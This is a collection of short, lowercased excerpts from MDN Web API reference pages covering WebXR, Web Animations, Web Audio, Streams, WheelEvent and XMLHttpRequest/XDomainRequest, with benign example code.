WebXR performance guide - Web APIs
xr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time. it makes sense, then, to have a limited set of these objects, simply replacing their contents with the
new information each time you need to use them. they can be thought of as being similar to the registers in a microprocessor: a limited set of memory storage slots for specific kinds of data or use cases. while an individual vector or matrix doesn't occupy an inordinate amount of memory, the sheer number of vectors and matrices and other structures that are used to build each frame of a 3d scene mea...
WebXR permissions and security - Web APIs
hin the handler for a user event, or the from the startup code for a user-launched web application. the document is considered trustworthy, in that it is responsible and is both currently active and has focus. the user's intent to enter immersive vr mode is well understood; see user intent below for details. if all of that is true, the promise returned by requestsession() is resolved, and the
new xrsession object is passed into the fulfillment handler. otherwise, an appropriate exception is thrown, such as securityerror if the document doesn't have permission to enter immersive mode. inline presentation when you request an xrsession with the mode set to inline, and any features are required or requested, the browser will only allow the session to be created if the call to requestsession...
WebXR Device API - Web APIs
s and tutorials are a great resource to learn how to comprehend webxr and the underlying 3d and vr/ar graphics concepts. foundations and basics fundamentals of webxr before diving into the details of how to create content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a
new way. matrix math for the web a guide covering how matrices can be used on the web, including both for css transforms and for webgl purposes, as well as to handle the positioning and orientation of objects in webxr contexts. webxr application life cycle an overview of the overall life cycle of a webxr application, from startup to shutdown. this article serves as an introduction to the basics ...
Keyframe Formats - Web APIs
e property value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implicit to/from keyframes in
newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginni...
Web Animations API - Web APIs
nimations. documenttimeline represents animation timelines, including the default document timeline (accessed using the document.timeline property). effecttiming element.animate(), keyframeeffectreadonly.keyframeeffectreadonly(), and keyframeeffect.keyframeeffect() all accept an optional dictionary object of timing properties. extensions to other interfaces the web animations api adds some
new features to document and element. extensions to the document interface document.timeline the documenttimeline object representing the default document timeline. document.getanimations() returns an array of animation objects currently in effect on elements in the document. extensions to the element interface element.animate() a shortcut method for creating and playing an animation on...
Advanced techniques: Creating and sequencing audio - Web APIs
sents a very simplified version of such an instrument. the sounds are based on a dial-up modem. if you are unaware of how one sounds you can listen to one here. creating an audio context as you should be used to by now, each web audio api app starts with an audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx =
new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. the oscillatornode comes with basic waveforms out of the box — sine, square, triangle or sawtooth. however, instead of using the standard waves that come by default, we're goi...
Web Crypto API - Web APIs
re not sure you know what you are doing, you probably shouldn't be using this api. interfaces some browsers implemented an interface called crypto without having it well defined or being cryptographically sound. in order to avoid confusion, methods and properties of this interface have been removed from browsers implementing the web crypto api, and all web crypto api methods are available on a
new interface: subtlecrypto. the crypto.subtle property gives access to an object implementing it. specifications specification status comment web cryptography api recommendation initial definition ...
Web Speech API - Web APIs
age the web speech api makes web apps able to handle voice data. there are two components to this api: speech recognition is accessed via the speechrecognition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately. generally you'll use the interface's constructor to create a
new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone. the speechgrammar interface represents a container for a particular set of grammar that your app should recognise. grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech compo...
Web Storage API - Web APIs
iour from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom interfaces to sqlite) or the session store api (an xpcom storage utility for use by extensions). web storage interfaces storage allows you to set, retrieve and remove data for a specific domain and storage type (session or local.) window the web storage api extends the window object with two
new properties — window.sessionstorage and window.localstorage — which provide access to the current domain's session and local storage objects respectively, and a window.onstorage event handler that fires when a storage area changes (e.g. a
new item is stored.) storageevent the storage event is fired on a document's window object when a storage area changes. examples to illustrate some typi...
Web Workers API - Web APIs
see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property). the data is copied rather than shared. workers may in turn spawn
new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null. in addition to dedicated workers, there are other types of worker: shared workers are workers that can be utilized by multiple scripts running i...
WheelEvent() - Web APIs
wheeleventinit optional is a wheeleventinit dictionary, having the following fields: "deltax", optional and defaulting to 0.0, is a double representing the horizontal scroll amount in the deltamode unit. "deltay", optional and defaulting to 0.0, is a double representing the vertical scroll amount in the deltamode unit. "deltaz", optional and defaulting to 0.0, is a double representing the scroll amount for the z-axis in the deltamode unit. ...
WheelEvent.deltaMode - Web APIs
he delta values scroll amount. permitted values are: constant value description dom_delta_pixel 0x00 the delta values are specified in pixels. dom_delta_line 0x01 the delta values are specified in lines. dom_delta_page 0x02 the delta values are specified in pages. syntax var unit = event.deltamode; example var syntheticevent =
new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification. obsolete initial definition. ...
WheelEvent.deltaX - Web APIs
the wheelevent.deltax read-only property is a double representing the horizontal scroll amount in the wheelevent.deltamode unit. syntax var dx = event.deltax; example var syntheticevent =
new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification. obsolete initial definition. ...
WheelEvent.deltaY - Web APIs
the wheelevent.deltay read-only property is a double representing the vertical scroll amount in the wheelevent.deltamode unit. syntax var dy = event.deltay; example var syntheticevent =
new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification. obsolete initial definition. ...
WheelEvent.deltaZ - Web APIs
the wheelevent.deltaz read-only property is a double representing the scroll amount along the z-axis, in the wheelevent.deltamode unit. syntax var dz = event.deltaz; example var syntheticevent =
new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification. obsolete initial definition. ...
Window: beforeunload event - Web APIs
to be unloaded. the document is still visible and the event is still cancelable at this point. bubbles no cancelable yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page. if the user confirms, the browser navigates to the
new page, otherwise it cancels the navigation. according to the specification, to show the confirmation dialog an event handler should call preventdefault() on the event. however note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string from the even...
Window.content - Web APIs
yed in the browser. it is a shortcut for browserref.contentwindow. in unprivileged content (webpages), content is normally equivalent to top (except in the case of a webpage loaded in a sidebar, content still refers to the window of the currently selected tab). note: some examples use _content instead of content. the former has been deprecated for a long time, and you should use content in any
new code. syntax var windowobject = window.content; example executing the following code in a chrome xul window with a <browser type="content-primary"/> element in it draws a red border around the first div on the page currently displayed in the browser: content.document.getelementsbytagname("div")[0].style.border = "solid red 1px"; specification none. see also working with windows in c...
Window.crypto - Web APIs
nly in secure contexts. syntax var cryptoobj = window.crypto || window.mscrypto; // for ie 11 value an instance of the crypto interface, providing access to general-purpose cryptography and a strong random-number generator. example this example uses the window.crypto property to access the getrandomvalues() method. ...
window.dump() - Web APIs
n gecko dump() is disabled by default – it doesn't do anything but doesn't raise an error either. to see the dump output you have to enable it by setting the preference browser.dom.window.dump.enabled to true. you can set the preference in about:config or in a user.js file. note: this preference is not listed in about:config by default, you may need to create it (right-click the content area ->
new -> boolean). on windows, you will need a console to actually see anything. if you don't have one already, closing the application and re-opening it with the command line parameter -console should create the console or use -attach-console to use the existing console. on other operating systems, it's enough to launch the application from a terminal. to redirect the console output to a file, run f...
WorkerGlobalScope - Web APIs
the network. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. deprecated methods workerglobalscope.close() discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope. in
newer browser versions, close() is available on dedicatedworkerglobalscope and sharedworkerglobalscope instead. this change was made to stop close() being available on service workers, as it isn't supposed to be used there and always throws an exception when called (see bug 1336043). example you won't access workerglobalscope directly in your code; however, its properties and methods are inherited...
WorkerNavigator - Web APIs
erface implements properties from the navigatorid, navigatorlanguage, navigatoronline, navigatordatastore, and navigatorconcurrenthardware interfaces. workernavigator.connectionread only provides a networkinformation object containing information about the network connection of a device. workernavigator.locks read only returns a lockmanager object which provides methods for requesting a
new lock object and querying for an existing lock object. workernavigator.permissions read only returns a permissions object that can be used to query and update permission status of apis covered by the permissions api. navigator.storageread only returns a storagemanager interface for managing persistance permissions and estimating available storage. inherited properties navigatorid.app...
Worklet.addModule() - Web APIs
that resolves once the module from the given url has been added. the promise doesn't return any value. exceptions if addmodule() fails, it rejects the promise, delivering one of the following errors to the rejection handler. aborterror the specified script is invalid or could not be loaded. syntaxerror the specified moduleurl is invalid. ...
WritableStream.abort() - Web APIs
e, with any queued writes discarded. syntax var promise = writablestream.abort(reason); parameters reason a domstring providing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a writablestream, or it is locked. examples const writablestream =
new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... // abort the stream later on, when required writablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStreamDefaultController.error() - Web APIs
a stream in response to an event outside the normal lifecycle of interactions with the underlying sink. syntax writablestreamdefaultcontroller.error(e); parameters e a domstring representing the error you want future interactions to fail with. return value undefined. exceptions typeerror the stream you are trying to error is not a writablestream. examples const writablestream =
new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'error()' in that specification. living...
WritableStreamDefaultController - Web APIs
derlying sink is given a corresponding writablestreamdefaultcontroller instance to manipulate. constructor none. writablestreamdefaultcontroller instances are created automatically during writablestream construction. properties none. methods writablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error. examples const writablestream =
new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that...
WritableStreamDefaultWriter.abort() - Web APIs
ed promise. syntax var promise = writablestreamdefaultwriter.abort(reason); parameters reason optional a domstring representing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a writablestream, or it is locked. examples const writablestream =
new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specification. li...
WritableStreamDefaultWriter.desiredSize - Web APIs
var desiredsize = writablestreamdefaultwriter.desiredsize; value an integer. note that this can be negative if the queue is over-full. the value will be null if the stream cannot be successfully written to (due to either being errored, or having an abort queued up), and zero if the stream is closed. exceptions typeerror the writer’s lock is released. examples const writablestream =
new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // return stream's desired size let size = writer.desiredsize; specifications specification status comment streamsthe definition of 'desiredsize' in that specification. living standard initial...
WritableStreamDefaultWriter.ready - Web APIs
ne writing and thus able to receive data before sending a binary chunk. the second also checks whether the the writablestream is done writing, but this time because the writing must be finished before the writer can be closed. function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter var defaultwriter = writablestream.getwriter(); var encoder =
new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data. defaultwriter.ready .then(function() { defaultwriter.write(chunk) .then(function() { console.log("chunk written to sink.); }) .catch(function(err) { console.log("chu...
WritableStreamDefaultWriter.releaseLock() - Web APIs
writer's lock on the corresponding stream. after the lock is released, the writer is no longer active. if the associated stream is errored when the lock is released, the writer will appear errored in the same way from now on; otherwise, the writer will appear closed. syntax writablestreamdefaultwritere.releaselock() parameters none. return value undefined. examples const writablestream =
new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment streamsthe definition of 'releaselock()' in that specification. living standa...
XDomainRequest.abort() - Web APIs
aborts an xdomainrequest. syntax xdr.abort(); example var xdr =
new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.send(); xdr.abort(); specification not part of any specification. ...
XDomainRequest.onerror - Web APIs
an event handler which is called when an xdomainrequest encounters an error. note: there is no way to determine the cause of the error from the xdomainrequest interface. syntax xdr.onerror = funcref; parameters funcref a function to call when an error occurs. example var xdr =
new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onerror = function(){ //handle error } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1¶m2=value2"); specification not part of any specification. ...
XDomainRequest.onload - Web APIs
an event handler for when an xdomainrequest has finished receiving the response from the server. you can find the entire server response in the xdomainrequest.responsetext property. syntax xdr.onload = funcref; example var xdr =
new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1¶m2=value2"); specification not part of any specification. ...
XDomainRequest.onprogress - Web APIs
events on xdomainrequests, so that code can monitor progress while loading content. note: while handling this event, you can look at xdomainrequest.responsetext to get the response so far. once loading is complete, the xdomainrequest.onload event handler gets called. syntax xdr.onprogress = funcref; parameters funcref a function to call when progress events occur. example var xdr =
new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onprogress = function(){ //handle partial response with xdr.responsetext } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1¶m2=value2"); specification not part of any specification. ...
XDomainRequest.ontimeout - Web APIs
an event handler which is called when a pending xdomainrequest times out. syntax xdr.ontimeout = funcref; parameters funcref a function to be called when the event times out. example var xdr =
new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.ontimeout = function(){ //handle timeout } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1¶m2=value2"); specification not part of any specification. ...
XDomainRequest.open() - Web APIs
opens an xdomainrequest which is configured to use a given method (get/post) and url. syntax xdr.open(method, url); parameters method the http method to use for the request. (get or post) url the url to which to send the request. example var xdr =
new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification. ...
XDomainRequest.send() - Web APIs
sends an xdomainrequest which has previously been opened calling xdomainrequest.open(). syntax xdr.send(data); parameters data the form data to be sent with the request. this parameter is optional for get requests. example var xdr =
new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1¶m2=value2"); specification not part of any specification. ...
XMLDocument.async - Web APIs
document.async can be set to indicate whether a xmldocument.load() call should be an asynchronous or synchronous request. true is the default value, indicating that documents should be loaded asynchronously. ...
XMLDocument.load() - Web APIs
n of the w3c dom level 3 load & save module. can be used with document.async to indicate whether the request is synchronous or asynchronous (the default). as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead). examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(
new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory. (to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, which will serve...
XMLHttpRequest.abort() - Web APIs
d aborts the request if it has already been sent. when a request is aborted, its readystate is changed to xmlhttprequest.unsent (0) and the request's status code is set to 0. syntax xmlhttprequest.abort() parameters none. ...
XMLHttpRequest: abort event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: error event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
returned in all lower case, as per the latest spec. example this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange. the code shows how to obtain the raw header string, as well as how to convert it into an array of individual headers and then how to take that array and create a mapping of header names to their values. ...
XMLHttpRequest.getResponseHeader() - Web APIs
header doesn't exist in the response. example in this example, a request is created and sent, and a readystatechange handler is established to look for the readystate to indicate that the headers have been received; when that is the case, the value of the content-type header is fetched. if the content-type isn't the desired value, the xmlhttprequest is canceled by calling abort(). ...
XMLHttpRequest: load event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: loadend event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest: loadstart event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.multipart - Web APIs
kets, or responsetext from progress events instead. this boolean indicates if the response is expected to be a stream of possibly multiple xml documents. if set to true, the content type of the initial response must be multipart/x-mixed-replace or an error will occur. all requests must be asynchronous. this enables support for server push; for each xml document that's written to this request, a
new xml dom document is created and the onload handler is called between documents. note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after each part of the response is received. ...
XMLHttpRequest.onreadystatechange - Web APIs
nt handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes. warning: this should not be used with synchronous requests and must not be used from native code. syntax xmlhttprequest.onreadystatechange = callback; values callback is the function to be executed when the readystate changes. ...
XMLHttpRequest.open() - Web APIs
note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort(). syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc. ignored for non-http(s) urls. url a domstring representing the url to send the request to. async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously. if this value is false, the send() method does not return until the response is received. ...
XMLHttpRequest.overrideMimeType() - Web APIs
verriding the server's stated type for the data being received. note: if the server doesn't provide a content-type header, xmlhttprequest assumes that the mime type is "text/xml". if the content isn't valid xml, an "xml parsing error: not well-formed" error occurs. you can avoid this by calling overridemimetype() to specify a different type. // interpret the received data as plain text req =
new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification. living standard whatwg living standard ...
XMLHttpRequest: progress event - Web APIs
`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr =
new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('...
XMLHttpRequest.readyState - Web APIs
ld mean that either the data transfer has been completed successfully or failed. the state names are different in versions of internet explorer earlier than 11. instead of unsent, opened, headers_received, loading and done, the names readystate_uninitialized (0), readystate_loading (1), readystate_loaded (2), readystate_interactive (3) and readystate_complete (4) are used. ...
XMLHttpRequest.response - Web APIs
n xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load(). the content is handled as raw text data (since nothing here is overriding the default responsetype). ...
XMLHttpRequest.responseText - Web APIs
letely received yet. you know the entire content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok"). exceptions invalidstateerror the xmlhttprequest.responsetype is not set to either the empty string or "text". since the responsetext property is only valid for text content, any other value is an error condition. ...
XMLHttpRequest.responseURL - Web APIs
the read-only xmlhttprequest.responseurl property returns the serialized url of the response or the empty string if the url is null. if the url is returned, any url fragment present in the url will be stripped away. the value of responseurl will be the final url obtained after any redirects. ...
XMLHttpRequest.responseXML - Web APIs
st.overridemimetype() to parse it as xml anyway. this property isn't available to workers. syntax var data = xmlhttprequest.responsexml; value a document from parsing the xml or html received using xmlhttprequest, or null if no data was received or if the data is not xml/html. exceptions invalidstateerror the responsetype isn't either "document" or an empty string. ...
XMLHttpRequest.status - Web APIs
the read-only xmlhttprequest.status property returns the numerical http status code of the xmlhttprequest's response. before the request completes, the value of status is 0. browsers also report a status of 0 in case of xmlhttprequest errors. ...
XMLHttpRequest.statusText - Web APIs
ver. unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found". if the request's readystate is in unsent or opened state, the value of statustext will be an empty string. if the server response doesn't explicitly specify a status text, statustext will assume the default value "ok". ...
XMLHttpRequest.timeout - Web APIs
t environment or it will throw an invalidaccesserror exception. when a timeout happens, a timeout event is fired. note: you may not use a timeout for synchronous requests with an owning window. using a timeout with an asynchronous request in internet explorer, the timeout property may be set only after calling the open() method and before calling the send() method. example var xhr =
new xmlhttprequest(); xhr.open('get', '/server', true); xhr.timeout = 2000; // time in milliseconds xhr.onload = function () { // request finished. do processing here. }; xhr.ontimeout = function (e) { // xmlhttprequest timed out. do something here. }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living stand...
XMLHttpRequest: timeout event - Web APIs
the timeout event is fired when progression is terminated due to preset time expiring. bubbles no cancelable no interface progressevent event handler property ontimeout examples const client =
new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification. living standard ...
XRReferenceSpaceEvent - Web APIs
the webxr device api interface xrreferencespaceevent represents an event sent to an xrreferencespace. currently, the only event that uses this type is the reset event. constructor xrreferencespaceevent() returns a
new xrreferencespaceevent with the specified type and configured using the values in the given xrreferencespaceeventinit dictionary. properties in addition to inheriting the properties available on the parent interface, event, xrreferencespaceevent objects include the following properties: referencespace read only an xrreferencespace indicating the reference space that generated the event. transform read only an xrrigidtransform object indicating the position and orientation of the specified referencespace's native origin after the event, defined relative to the ...
XRReferenceSpaceEventInit.referenceSpace - Web APIs
the xrreferencespaceeventinit property referencespace is used to establish the value of a
newly-constructed xrreferencespaceevent object when calling the xrreferencespaceevent() constructor. syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrreferencespace indicating the source of the event. examples this simple snippet calls the constructor to create a
new reference space event of type reset. let refspaceevent =
new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification. working draft initial definition. ...
XRReferenceSpaceEventInit.transform - Web APIs
e-event coordinate system to the post-event coordiante system. syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system. examples this simple snippet calls the constructor to create a
new reference space event of type reset. let refspaceevent =
new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification. working draft initial definition. ...
XRRigidTransform.orientation - Web APIs
ransform.orientation; value a dompointreadonly object which contains a unit quaternion providing the orientation component of the transform. as a unit quaternion, the length of the returned quaternion is always 1.0 meters. examples to create a reference space which is oriented to look straight up, positioned 2 meters off of ground level: xrreferencespace = refspace.getoffsetreferencespace(
new xrrigidtransform({y: -2}, {x: 0.0, y: 1.0, z: 0.0, w: 1.0}); ); the unit quaternion specified here is [0.0, 1.0, 0.0, 1.0] to indicate that the object should be facing directly along the y axis. specifications specification status comment webxr device apithe definition of 'xrrigidtransform.orientation' in that specification. working draft initial definition. ...
XRSession: inputsourceschange event - Web APIs
the inputsourceschange event is sent to an xrsession when the set of available webxr input devices changes. the received event, of type xrinputsourceschangeevent, contains a list of any
newly added and/or removed input devices. bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the
newly-added and/or removed input devices in its added and removed properties. examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification. working draft initial definition. ...
XRSession.onsqueezeend - Web APIs
t targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (user.heldobject) { cancelobjectdrag(user.heldobject); } } }; this code presumes that if the user actually intentionally completed the drag, user.heldobject will be null here. that's because (in this example, at least) the handler for the squeeze event has already dropped the object into its
new location and then cleared the value of heldobject to indicate that the user is no longer holding anything. specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezeend' in that specification. working draft initial definition. ...
XRSession.requestAnimationFrame() - Web APIs
following example requests xrsession with "inline" mode so that it can be displayed in an html element (without the need for a separate ar or vr device). note: a real application should check that the device and the user agent support webxr api at all and then that they both support the desired session type via xr.issessionsupported(). ...
XRSession: selectend event - Web APIs
tart the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a select event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs. this places the object into its
new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the selectend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselect...
XRSession: selectstart event - Web APIs
tart the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a select event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs. this places the object into its
